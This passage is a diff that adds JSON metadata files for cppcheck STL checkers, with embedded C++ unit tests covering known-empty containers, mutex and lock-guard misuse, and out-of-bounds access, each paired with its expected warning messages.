x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (!v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::sort(v.begin(), v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (style) Using sort with iterator 'v.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #1201\n \" std::vector v1{ 0, 1 };\\n\"\n \" std::vector v2;\\n\"\n \" std::copy(v1.begin(), v1.end(), v2.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:45]: (style) Using copy with iterator 'v2.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.insert(v.end(), 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(std::vector*);\\n\"\n \"};\\n\"\n \"A f() {\\n\"\n \" std::vector v;\\n\"\n \" A a(&v);\\n\"\n \" for(auto&& x:v) {}\\n\"\n \" return a;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static void f1(std::list& parameters) {\\n\"\n \" parameters.push_back(a);\\n\"\n \"}\\n\"\n \"int f2(std::list& parameters) {\\n\"\n \" f1(parameters);\\n\"\n \"}\\n\"\n \"void f3() {\\n\"\n \" std::list parameters;\\n\"\n \" int res = ::f2(parameters);\\n\"\n \" for (auto param : parameters) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace ns {\\n\"\n \" using ArrayType = std::vector;\\n\"\n \"}\\n\"\n \"using namespace ns;\\n\"\n \"static void f() {\\n\"\n \" const ArrayType arr;\\n\"\n \" for (const auto &a : arr) {}\\n\"\n \"}\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:7:26]: (style) Iterating over container 'arr' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void foo(S& s) {\\n\"\n \" s.v.clear();\\n\"\n \" bar(s);\\n\"\n \" std::sort(s.v.begin(), s.v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v, int e) {\\n\"\n \" if (!v.empty()) {\\n\"\n \" if (e < 0 || true) {\\n\"\n \" if (e < 0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto& rv = v;\\n\"\n \" rv.push_back(42);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern void f(std::string&&);\\n\"\n \"static void func() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& s_ref = s;\\n\"\n \" f(std::move(s));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12757\n \" template\\n\"\n \" void clear() {}\\n\"\n \" template\\n\"\n \" std::vector get() const { return {}; }\\n\"\n \" std::vector m;\\n\"\n \"};\\n\"\n \"template<> void S::clear() { m.clear(); }\\n\"\n \"template<> std::vector S::get() const {\\n\"\n \" for (const auto& i : m) {}\\n\"\n \" return {};\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\" // #13121\n \" static std::string s = {};\\n\"\n \" for (auto c : s) {}\\n\"\n \" if (b)\\n\"\n \" s += \\'a\\';\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\" // #13727\n \" std::vector v;\\n\"\n \" v.insert::iterator>(v.end(), it, it + 1);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMutexes() {\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:40]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::unique_lock g(m, std::defer_lock);\\n\"\n \" static std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:41]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void g();\\n\"\n \" void f() {\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" static std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:44]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" m.lock();\\n\"\n \" foo();\\n\"\n \" m.unlock();\\n\"\n \" });\\n\"\n \" m.lock();\\n\"\n \" bar();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" std::unique_lock g{m};\\n\"\n \" foo();\\n\"\n \" });\\n\"\n \" std::unique_lock g{m};\\n\"\n \" bar();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { int f = 0; auto g(f); g = g; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct foobar {\\n\"\n \" int foo;\\n\"\n \" std::shared_mutex foo_mtx;\\n\"\n \" int bar;\\n\"\n \" std::shared_mutex bar_mtx;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" foobar xyz;\\n\"\n \" {\\n\"\n \" std::shared_lock shared_foo_lock(xyz.foo_mtx, std::defer_lock);\\n\"\n \" std::shared_lock shared_bar_lock(xyz.bar_mtx, std::defer_lock);\\n\"\n \" std::scoped_lock shared_multi_lock(shared_foo_lock, shared_bar_lock);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestStl)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/misMatchingContainers.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/misMatchingContainers.json new file mode 100644 index 0000000..c7fc9cc --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/misMatchingContainers.json @@ -0,0 +1,13 @@ +{ + "name": "misMatchingContainers", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 54, + "branches": 18, + "apis": 51, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/missingComparison.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/missingComparison.json new file mode 100644 index 0000000..61d91d9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/missingComparison.json @@ -0,0 +1,13 @@ +{ + "name": "missingComparison", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 52, + "branches": 24, + "apis": 59, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/negativeIndex.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/negativeIndex.json new file mode 100644 index 0000000..dc8f8fc --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/negativeIndex.json @@ -0,0 +1,22 @@ +{ + "name": "negativeIndex", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 21, + "branches": 6, + "apis": 21, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 2589 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkstl.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n#include \"utils.h\"\n\n#include \n#include \n\nclass TestStl : public TestFixture {\npublic:\n TestStl() : TestFixture(\"TestStl\") {}\n\nprivate:\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).severity(Severity::performance).library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(outOfBounds);\n TEST_CASE(outOfBoundsSymbolic);\n TEST_CASE(outOfBoundsIndexExpression);\n TEST_CASE(outOfBoundsIterator);\n\n TEST_CASE(iterator1);\n TEST_CASE(iterator2);\n TEST_CASE(iterator3);\n TEST_CASE(iterator4);\n TEST_CASE(iterator5);\n TEST_CASE(iterator6);\n TEST_CASE(iterator7);\n TEST_CASE(iterator8);\n TEST_CASE(iterator9);\n TEST_CASE(iterator10);\n TEST_CASE(iterator11);\n TEST_CASE(iterator12);\n TEST_CASE(iterator13);\n TEST_CASE(iterator14); // #8191\n TEST_CASE(iterator15); // #8341\n TEST_CASE(iterator16);\n TEST_CASE(iterator17);\n TEST_CASE(iterator18);\n TEST_CASE(iterator19);\n TEST_CASE(iterator20);\n TEST_CASE(iterator21);\n TEST_CASE(iterator22);\n TEST_CASE(iterator23);\n TEST_CASE(iterator24);\n TEST_CASE(iterator25); // #9742\n TEST_CASE(iterator26); // #9176\n TEST_CASE(iterator27); // #10378\n TEST_CASE(iterator28); // #10450\n TEST_CASE(iterator29);\n TEST_CASE(iterator30);\n TEST_CASE(iterator31);\n TEST_CASE(iteratorExpression);\n TEST_CASE(iteratorSameExpression);\n TEST_CASE(mismatchingContainerIterator);\n TEST_CASE(eraseIteratorOutOfBounds);\n\n TEST_CASE(dereference);\n TEST_CASE(dereference_break); // #3644 - handle \"break\"\n TEST_CASE(dereference_member);\n\n TEST_CASE(STLSize);\n TEST_CASE(STLSizeNoErr);\n TEST_CASE(negativeIndex);\n TEST_CASE(negativeIndexMultiline);\n TEST_CASE(erase1);\n TEST_CASE(erase2);\n TEST_CASE(erase3);\n TEST_CASE(erase4);\n TEST_CASE(erase5);\n TEST_CASE(erase6);\n TEST_CASE(eraseBreak);\n TEST_CASE(eraseContinue);\n TEST_CASE(eraseReturn1);\n TEST_CASE(eraseReturn2);\n TEST_CASE(eraseReturn3);\n TEST_CASE(eraseGoto);\n TEST_CASE(eraseAssign1);\n TEST_CASE(eraseAssign2);\n TEST_CASE(eraseAssign3);\n TEST_CASE(eraseAssign4);\n TEST_CASE(eraseAssignByFunctionCall);\n TEST_CASE(eraseErase);\n TEST_CASE(eraseByValue);\n TEST_CASE(eraseIf);\n TEST_CASE(eraseOnVector);\n\n TEST_CASE(pushback1);\n TEST_CASE(pushback2);\n TEST_CASE(pushback3);\n TEST_CASE(pushback4);\n TEST_CASE(pushback5);\n TEST_CASE(pushback6);\n TEST_CASE(pushback7);\n TEST_CASE(pushback8);\n TEST_CASE(pushback9);\n TEST_CASE(pushback10);\n TEST_CASE(pushback11);\n TEST_CASE(pushback12);\n TEST_CASE(pushback13);\n TEST_CASE(insert1);\n TEST_CASE(insert2);\n TEST_CASE(popback1);\n\n TEST_CASE(stlBoundaries1);\n TEST_CASE(stlBoundaries2);\n TEST_CASE(stlBoundaries3);\n TEST_CASE(stlBoundaries4); // #4364\n TEST_CASE(stlBoundaries5); // #4352\n TEST_CASE(stlBoundaries6); // #7106\n\n // if (str.find(\"ab\"))\n TEST_CASE(if_find);\n TEST_CASE(if_str_find);\n\n TEST_CASE(size1);\n TEST_CASE(size2);\n TEST_CASE(size3);\n TEST_CASE(size4); // #2652 - don't warn about vector/deque\n\n // Redundant conditions..\n // if (ints.find(123) != ints.end()) ints.remove(123);\n TEST_CASE(redundantCondition1);\n\n // missing inner comparison when incrementing iterator inside loop\n TEST_CASE(missingInnerComparison1);\n TEST_CASE(missingInnerComparison2); // no FP when there is comparison\n TEST_CASE(missingInnerComparison3); // no FP when there is iterator shadowing\n TEST_CASE(missingInnerComparison4); // no FP when \"break;\" is used\n TEST_CASE(missingInnerComparison5); // Ticket #2154 - FP\n TEST_CASE(missingInnerComparison6); // #2643 - 'it=foo.insert(++it,0);'\n\n // catch common problems when using the string::c_str() function\n TEST_CASE(cstr);\n\n TEST_CASE(uselessCalls);\n TEST_CASE(stabilityOfChecks); // #4684 cppcheck crash in template function call\n\n TEST_CASE(dereferenceInvalidIterator);\n TEST_CASE(dereferenceInvalidIterator2); // #6572\n TEST_CASE(dereference_auto);\n\n TEST_CASE(loopAlgoElementAssign);\n TEST_CASE(loopAlgoAccumulateAssign);\n TEST_CASE(loopAlgoContainerInsert);\n TEST_CASE(loopAlgoIncrement);\n TEST_CASE(loopAlgoConditional);\n TEST_CASE(loopAlgoMinMax);\n TEST_CASE(loopAlgoMultipleReturn);\n\n TEST_CASE(invalidContainer);\n TEST_CASE(invalidContainerLoop);\n TEST_CASE(findInsert);\n\n TEST_CASE(checkKnownEmptyContainer);\n TEST_CASE(checkMutexes);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool inconclusive = false;\n Standards::cppstd_t cppstandard = Standards::CPPLatest;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(settings).certainty(Certainty::inconclusive, options.inconclusive).cpp(options.cppstandard).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n // TODO: get rid of this\n void check_(const char* file, int line, const std::string& code) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n#define checkNormal(code) checkNormal_(code, __FILE__, __LINE__)\n template\n void checkNormal_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n void outOfBounds() {\n setMultiline();\n\n checkNormal(\"bool f(const int a, const int b)\\n\" // #8648\n \"{\\n\"\n \" std::cout << a << b;\\n\"\n \" return true;\\n\"\n \"}\\n\"\n \"void f(const std::vector &v)\\n\"\n \"{\\n\"\n \" if(v.size() >=2 &&\\n\"\n \" bar(v[2], v[3]) )\\n\" // v[3] is accessed\n \" {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:18]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:18]: note: Access out of bounds\\n\"\n \"[test.cpp:9:24]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[3]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:24]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in expression 's[10]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s = \\\"abcd\\\";\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in 's[10]', if 's' size is 4 and '10' is 10 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v.front();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: warning: Either the condition 'v.empty()' is redundant or expression 'v.front()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:16]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:12]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" if (v.size() == 3) {}\\n\"\n \" v[16] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[16]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:3:6]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" int i = 16;\\n\"\n \" if (v.size() == 3) {\\n\"\n \" v[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:4:10]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v, int i) {\\n\"\n \" if (v.size() == 3 || i == 16) {}\\n\"\n \" v[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::map x) {\\n\"\n \" if (x.empty()) { x[1] = 2; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" if (s.size() == 1) {\\n\"\n \" s[2] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: warning: Either the condition 's.size()==1' is redundant or size of 's' can be 1. Expression 's[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 's.size()==1'\\n\"\n \"[test.cpp:3:10]: note: Access out of bounds\\n\", errout_str());\n\n // Do not crash\n checkNormal(\"void a() {\\n\"\n \" std::string b[];\\n\"\n \" for (auto c : b)\\n\"\n \" c.data();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return {};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return std::string{};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" x = s.begin() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\", // duplicate\n errout_str());\n\n checkNormal(\"void f(int x) {\\n\"\n \" std::string s;\\n\"\n \" auto it = s.begin() + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: error: Out of bounds access in expression 's.begin()+x' because 's' is empty and 'x' may be non-zero. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[42]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[42]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:54]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\"\n \"[test.cpp:2:60]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[1]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[1]; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv)[42];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: error: Out of bounds access in expression '(*pv)[42]' because '*pv' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" ++abc[s];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9274\n checkNormal(\"char f(bool b) {\\n\"\n \" const std::string s = \\\"\\\";\\n\"\n \" int x = 6;\\n\"\n \" if(b) ++x;\\n\"\n \" return s[x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: error: Out of bounds access in 's[x]', if 's' size is 6 and 'x' is 6 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" static const int N = 4;\\n\"\n \" std::array x;\\n\"\n \" x[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector x;\\n\"\n \" if (b)\\n\"\n \" x.push_back(1);\\n\"\n \" if (x.size() < 2)\\n\"\n \" return;\\n\"\n \" x[0] = 2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: error: Out of bounds access in expression 'v.at(b?42:0)' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"void f(std::vector v, bool b){\\n\"\n \" if (v.size() == 1)\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:16]: warning: Either the condition 'v.size()==1' is redundant or size of 'v' can be 1. Expression 'v.at(b?42:0)' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==1'\\n\"\n \"[test.cpp:3:16]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector 